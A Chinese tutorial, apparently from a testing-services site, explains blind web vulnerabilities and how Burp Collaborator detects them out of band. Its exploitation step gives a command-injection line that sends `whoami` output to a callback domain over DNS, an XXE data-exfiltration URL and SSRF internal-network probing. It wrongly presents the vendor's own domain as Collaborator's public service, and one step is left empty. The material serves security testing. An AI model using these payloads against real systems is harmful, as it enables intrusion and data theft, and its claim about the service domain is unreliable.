当前位置: 首页 > 测试知识 > 第三方网站盲漏洞测试:基于Burp Collaborator的WEB安全测试
第三方网站盲漏洞测试:基于Burp Collaborator的WEB安全测试
2025-09-11 作者cwb 浏览次数15

“盲”漏洞(Blind Vulnerability)的特点是:攻击者无法直接看到漏洞触发的直接输出或结果。传统的漏洞,比如一个简单的 SQL 注入,会在页面的错误信息或查询结果中直接回显数据。但盲漏洞不会。

1.常见盲漏洞类型:

盲 SQL 注入 (Blind SQLi): 数据库执行了恶意注入语句,但应用不会在响应中返回任何数据或错误信息。你只能通过应用的行为(如真/假、延迟)来间接推断。

盲 XXE (Blind XXE): 应用解析了外部实体,但不会在响应中回显文件内容。你只能通过让服务器向你的外部系统发起请求来证明漏洞存在。

服务器端请求伪造 (SSRF): 你诱导服务器向一个内部资源发起请求,但应用不会在响应中显示该请求的结果。

操作系统命令注入 (Blind OS Command Injection): 命令在服务器上执行了,但标准输出和错误输出都不会返回给客户端。

盲 XSS (Blind XSS): 你的 payload 被存储在了后端(如数据库、日志),并会在另一个上下文中(如管理员后台)被渲染执行,而你作为攻击者看不到执行过程。

传统的盲注检测方法非常繁琐,通常依赖于:

条件响应(True/False): 通过应用行为的细微差别(如“用户存在”与“用户不存在”)来逐位推断数据。

时间延迟(Time Delays): 通过注入类似 SLEEP(5) 的命令,如果页面响应延迟了5秒,则说明注入成功。这种方法慢、不可靠(受网络波动影响)且噪音大。

而 Burp Collaborator 的出现,彻底改变了游戏规则。

2. Burp Collaborator 是什么?

Burp Collaborator 是一个带外应用安全测试(OAST) 平台。它可以理解为一种由 PortSwigger(Burp Suite 的开发商)提供的公共服务,它能代为接收并记录任何指向它的网络交互。

你可以把它想象成一个“间谍邮箱”或“监听哨站”:

你生成一个唯一的 Collaborator 地址(如 xxxxxxxxxxxxxx.zmtests.com)。

你将这个地址作为 payload 的一部分,发送给目标应用(例如,在 SSRF 测试中让服务器请求 http://xxxxxxxxxxxxxx.zmtests.com)。

如果目标应用(或其底层系统)因为漏洞而触发了对外部网络的请求或DNS查询,这个交互就会被发送到 Collaborator 服务器。

Burp Suite 会定期轮询 Collaborator 服务器,询问:“有人联系过 xxxxxxxxxxxxxx.zmtests.com吗?”

如果有,Burp Suite 会收到详细的交互记录(包括时间、来源IP、协议、请求内容等),并向你发出警报。

这就完美解决了“盲”的问题:你不需要在应用的直接响应中看到输出,而是通过一个第三方平台来间接证实漏洞的存在。

3. 实战演练:如何使用 Burp Collaborator 检测盲漏洞

以下以检测 盲 SSRF 和 盲 XXE 为例。

步骤 1:生成 Collaborator Payload

打开 Burp Suite Professional。

转到 Burp 菜单 -> Burp Collaborator client。

点击 “Copy to clipboard” 复制为你生成的唯一 Collaborator 地址(例如 abc123def456.zmtests.com)。

你也可以点击 “Poll” 手动检查是否有交互。

步骤 2:构造并发送恶意请求

步骤 3:检查 Collaborator 交互

返回 Burp Collaborator client 窗口。

点击 “Poll now”。

如果漏洞存在,你将在下方看到详细的交互记录!

你能看到的信息包括

DNS Query: 一次 DNS 查询,证明服务器尝试解析了你的域名。

HTTP Request: 一个完整的 HTTP 请求,包括方法、路径、头部(有时甚至会包含敏感信息如 Authorization 头、Cookie)。

来源 IP: 这可以帮你确认是哪个系统发起的请求(是应用服务器、数据库还是内部的其他系统?)。

步骤 4:利用漏洞

一旦确认漏洞存在,你就可以升级攻击:

探测内网: 将 Collaborator 地址替换为内网IP,如 http://192.168.1.1:8080/abc123def456.zmtests.com。如果服务器发起了请求,Collaborator 会收到,从而证明该内网IP和端口是可访问的。

窃取数据: 对于 XXE,你可以尝试通过 URL 参数将数据外带,例如:http://abc123def456.zmtests.com/?secret=%file;(需要嵌套实体)。

验证其他漏洞: 在 OS 命令注入中,可以注入类似 nslookup $(whoami).abc123def456.zmtests.com 的命令,将命令执行结果通过 DNS 查询外带。

4. Burp Collaborator 的优势

高效可靠: 无需依赖时间延迟或条件响应,结果清晰明确,极大提高了测试效率。

覆盖面广: 能检测多种类型的盲漏洞(SSRF, XXE, Blind SQLi, OS Commandi, etc.)。

隐蔽性强: 交互发生在服务器和 Collaborator 之间,与你的浏览器无关,更适合测试需要异步触发的漏洞(如需要管理员登录才能触发的 Blind XSS)。

信息丰富: 提供详细的交互日志,帮助深入分析漏洞利用场景和网络环境。

5. 注意事项

网络策略限制: 目标服务器必须能够访问互联网(出站流量不受限制),并且能解析外部DNS(如 8.8.8.8)。在某些严格的内网环境中可能无效。

防火墙/IDS/IPS: 出站流量可能会被安全设备拦截,导致无法收到交互。

公网可用性: 你需要能访问 Burp Collaborator 公共服务(zmtests.com)。对于高度敏感的环境,Burp Suite 允许你搭建私有的 Collaborator 服务器,但这需要一台有自己的公网IP和域名的服务器。

非万能工具: 它主要用于检测和数据外带。对于复杂的盲注数据提取(如从数据库中逐表取数据),虽然可能,但通常需要结合 Burp Intruder 等工具进行自动化,不如直接利用 SQLMap 等工具高效。

文章标签: 第三方网站系统测试 第三方网站测试 第三方网站测评 网站测试 网站安全 WEB安全测试 WEB安全 Web安全
咨询软件测试